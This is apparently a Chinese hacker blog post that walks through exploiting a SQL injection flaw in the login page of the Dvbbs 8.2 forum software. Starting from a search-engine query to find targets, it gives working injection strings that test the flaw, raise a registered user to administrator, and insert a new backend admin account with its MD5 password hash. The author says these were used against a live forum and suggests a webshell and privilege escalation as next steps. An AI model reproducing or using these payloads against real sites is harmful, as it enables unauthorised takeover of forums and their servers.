水银[B.S.N]&[Z.S.T]
http://www.54hssy.cn(作者博客)
今天凌晨得到动网又出了漏洞,与和幻泉说了一下。经过这个牛人的分析其很快就将一个大站拿下于是身为菜鸟的我也不会放过这个机会就请教了他。下面先看看产生此漏洞的原因吧:
login.asp 118行左右
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
......
username是先经过检查然后再unescape解码,导致用urlencode模式就可以饶过任何检查,和php的urldecode导致的注射很类似,譬如用%2527就可以提交’过去了.
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
特别注意:admin等。。。必须在论坛有注册。。。
就是登陆名必须是已经在论坛注册了的。。
mssql数据库的进行测试,我构造了搜索语句“
Powered By Dvbbs Version 8.2.0 填写登录信息”如图
1:

http://forum.*******.net/首先注册一个帐户“
heiseshuiyin”然后访问其登陆页面如图
2:

heiseshuiyin' and 'a'='a”密码随便登陆看到其返回信息如图
3:

看用户名或密码不正确,然后我们在“
heiseshuiyin' and 'a'='b”返回的信息如图
4:

很明显我们能发现第一次提交正确和第二次提交的不正确时两者返回的信息有着明显的差别。就说明他是可以利用的。那我就来将我的帐户提升为管理员吧!在用户名处写入“
';update dv_user set usergroupid=1 where username='heiseshuiyin'--”密码我就用正确的
shuiyin来写然后写好后登陆看到反回的信息入图
5:

我们可以看到登陆提示为“本论坛不存在该用户名”这个就说明我们所提升的帐户“
heiseshuiyin”已经为管理员了。下面我们登陆看如图
6、
7:


login.asp这个登陆页面。在用户名处写入“shuiyin';insert into dv_admin (username,password,flag,adduser) values
('shuiyin','a5258dfb597d7a1a','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,
24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','shuiyin')--”其中的“
a5258dfb597d7a1a”是“
shuiyin”的
MD5加密后的值,也就是说我们这里提升为后台管理权限的帐户的后台管理密码为“
shuiyin”。之后我们看看能否登陆后台,哈哈
RP还行,成功了如图
8、
9:

webshell甚至提权了。这里我就不搞了(我没弄到这个站的所以没写出来PS:不要砸我!)
,至于ACCESS这个数据库的利用比较麻烦(本人比较懒就不搞了)就留给大家来玩吧!希望这篇菜鸟级的文章能给你一点收获。最后作个广告“我的BLOG:http://www.54hssy.cn”。